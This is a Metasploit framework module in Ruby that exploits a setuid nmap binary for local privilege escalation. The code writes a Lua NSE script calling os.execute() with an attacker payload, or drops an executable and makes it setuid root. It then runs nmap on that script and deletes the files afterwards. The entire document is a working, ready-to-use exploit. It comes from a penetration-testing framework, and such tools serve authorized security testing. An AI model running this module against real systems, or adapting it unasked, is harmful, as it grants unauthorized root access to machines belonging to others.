## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File def initialize(info = {}) super( update_info( info, 'Name' => 'Setuid Nmap Exploit', 'Description' => %q{ Nmap's man page mentions that "Nmap should never be installed with special privileges (e.g. suid root) for security reasons.." and specifically avoids making any of its binaries setuid during installation. Nevertheless, administrators sometimes feel the need to do insecure things. This module abuses a setuid nmap binary by writing out a lua nse script containing a call to os.execute(). Note that modern interpreters will refuse to run scripts on the command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby} payloads will most likely not work. }, 'License' => MSF_LICENSE, 'Author' => [ 'egypt' ], 'DisclosureDate' => '2012-07-19', 'Platform' => %w[bsd linux unix], 'Arch' => [ ARCH_CMD, ARCH_X86 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Command payload', { 'Arch' => ARCH_CMD } ], [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'BSD x86', { 'Arch' => ARCH_X86 } ], ], 'DefaultOptions' => { 'PrependSetresuid' => true, 'WfsDelay' => 2 }, 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK ] }, 'DefaultTarget' => 0 ) ) register_options([ # These are not OptPath becuase it's a *remote* path OptString.new('Nmap', [ true, 'Path to setuid nmap executable', '/usr/bin/nmap' ]), OptString.new('ExtraArgs', [ false, 'Extra arguments to pass to Nmap (e.g. --datadir)', '' ]), ]) register_advanced_options [ OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def nmap datastore['Nmap'] end def check return CheckCode::Safe("#{nmap} file not found") unless file? nmap return CheckCode::Safe("#{nmap} is not setuid") unless setuid? nmap CheckCode::Vulnerable("#{nmap} is setuid") end def exploit if (target.arch.include? ARCH_CMD) p = payload.encoded.gsub(/([$"])/) { |_m| "\\#{Regexp.last_match(1)}" } evil_lua = %{ os.execute("#{p} &") } else exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}.elf" print_status("Dropping executable #{exe_file}") write_file(exe_file, generate_payload_exe) evil_lua = %{ os.execute("chown root:root #{exe_file}"); os.execute("chmod 6700 #{exe_file}"); os.execute("#{exe_file} &"); os.execute("rm -f #{exe_file}"); } end lua_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}.nse" print_status("Dropping lua #{lua_file}") write_file(lua_file, evil_lua) print_status("Running #{lua_file} with Nmap") scriptname = lua_file if (lua_file[0, 1] == '/') # Versions before 4.51BETA (December 2007) only accept relative paths for script names # Figure 10 up-directory traversals is enough. scriptname = ('../' * 10) + lua_file[1..] end begin # Versions before 4.75 (August 2008) will not run scripts without a port scan result = cmd_exec "#{nmap} --script #{scriptname} -p80 localhost #{datastore['ExtraArgs']}" vprint_status(result) ensure rm_f(lua_file, exe_file) end end end